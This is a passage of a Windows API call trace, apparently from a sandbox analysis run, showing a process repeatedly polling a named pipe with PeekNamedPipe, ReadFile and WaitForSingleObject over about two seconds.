lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0076.313] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0076.313] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.343] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x49, lpBytesLeftThisMessage=0x0) returned 1 [0076.343] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x49, lpOverlapped=0x0) returned 1 [0076.343] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.378] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.458] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0076.458] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa3, lpOverlapped=0x0) returned 1 [0076.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.525] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.558] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0076.558] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0076.558] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.614] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0076.615] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3f, lpOverlapped=0x0) returned 1 [0076.615] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.678] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0076.678] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0076.678] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.725] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9f, lpBytesLeftThisMessage=0x0) returned 1 [0076.725] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9f, lpOverlapped=0x0) returned 1 [0076.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.763] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.803] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0076.803] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa3, lpOverlapped=0x0) returned 1 [0076.803] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.838] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.838] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.865] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0076.865] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0076.865] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.923] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x48, lpBytesLeftThisMessage=0x0) returned 1 [0076.923] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x48, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x48, lpOverlapped=0x0) returned 1 [0076.923] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.967] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0076.968] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0076.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.004] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.004] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.048] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xad, lpBytesLeftThisMessage=0x0) returned 1 [0077.049] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xad, lpOverlapped=0x0) returned 1 [0077.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.082] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.082] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.110] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xad, lpBytesLeftThisMessage=0x0) returned 1 [0077.111] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xad, lpOverlapped=0x0) returned 1 [0077.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.144] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.144] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.177] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0077.177] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa3, lpOverlapped=0x0) returned 1 [0077.177] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.215] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.255] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0077.255] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0077.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.288] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.319] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xaa, lpBytesLeftThisMessage=0x0) returned 1 [0077.319] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xaa, lpOverlapped=0x0) returned 1 [0077.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.355] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.355] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.385] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xaa, lpBytesLeftThisMessage=0x0) returned 1 [0077.385] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xaa, lpOverlapped=0x0) returned 1 [0077.385] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.418] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.418] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.509] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa9, lpBytesLeftThisMessage=0x0) returned 1 [0077.509] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa9, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa9, lpOverlapped=0x0) returned 1 [0077.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.546] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.546] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.572] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0077.572] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0077.572] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.607] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.645] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0077.645] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x99, lpOverlapped=0x0) returned 1 [0077.645] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.679] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.680] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.716] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0077.716] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0077.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.802] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0077.802] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa0, lpOverlapped=0x0) returned 1 [0077.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.846] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.864] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0077.864] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0077.864] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.919] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x37, lpBytesLeftThisMessage=0x0) returned 1 [0077.919] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x37, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x37, lpOverlapped=0x0) returned 1 [0077.919] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.058] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0078.058] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x99, lpOverlapped=0x0) returned 1 [0078.058] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.096] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.156] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0078.156] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0078.156] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.190] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.190] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.226] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa1, lpBytesLeftThisMessage=0x0) returned 1 [0078.226] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa1, lpOverlapped=0x0) returned 1 [0078.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.262] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.262] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.293] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0078.293] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0078.293] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.323] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3e, lpBytesLeftThisMessage=0x0) returned 1 [0078.323] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3e, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3e, lpOverlapped=0x0) returned 1 [0078.323] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0078.363] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 